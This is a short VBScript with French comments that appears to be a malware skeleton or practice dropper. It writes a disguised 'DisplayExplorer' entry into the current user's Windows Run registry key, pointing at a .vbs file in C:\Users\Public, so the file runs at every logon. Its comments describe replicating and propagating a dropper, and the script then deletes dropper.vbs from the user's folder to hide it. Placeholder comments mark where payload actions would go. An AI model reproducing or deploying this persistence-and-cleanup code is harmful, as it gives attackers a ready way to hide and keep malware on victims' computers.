Dim ObjetRegedit
On Error Resume Next
set ObjetRegedit =  CreateObject("WScript.Shell" )

CleRegistre = "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\DisplayExplorer"

Function ExisteCle(cle)
On Error Resume Next
    Dim test
    Set test = WScript.CreateObject("WScript.Shell")
    test.RegRead cle
    ExisteCle = (Err = 0)
End function

If ExisteCle(CleRegistre) = true then
    ContenuCle = ObjetRegedit.RegRead(CleRegistre)
    WScript.Sleep(5000)
    'faire une action apres un sleep
Else
    Dim WshShell
    Set WshShell = WScript.CreateObject("WScript.Shell")
    WshShell.RegWrite CleRegistre,"C:\Users\Public\dll_933.vbs"

    ContenuCle = "Maintenant la clé existe :)"
End if

msgbox "Cle de Registre : " & ContenuCle

Set test = Nothing
Set ObjetRegedit = Nothing

' replique du dropper
Set wshnetwork = WScript.CreateObject("WScript.Network" )
user = wshnetwork.username

' Test lexistence dun fichier
Set objFSO = CreateObject("Scripting.FileSystemObject" )

If objFSO.FileExists("C:\Users\" + user + "\dropper.vbs") Then
    ' *** if le dropper existe,, le repliquer
    Wscript.Echo "Le fichier existe."

    ' une fois la propagation faite, supprimer le dropper
    Set fso = WScript.CreateObject("Scripting.FileSystemObject")
    fso.deletefile "C:\Users\" + user + "\dropper.vbs"
    Set fso = Nothing
Else
    ' *** else le dropper nexiste pas, passer a la suite du script
    Wscript.Echo "Le fichier n'existe pas."
End If
Set objFSO = Nothing
Set wshnetwork = Nothing

' action general

' *** fin du script
WScript.Quit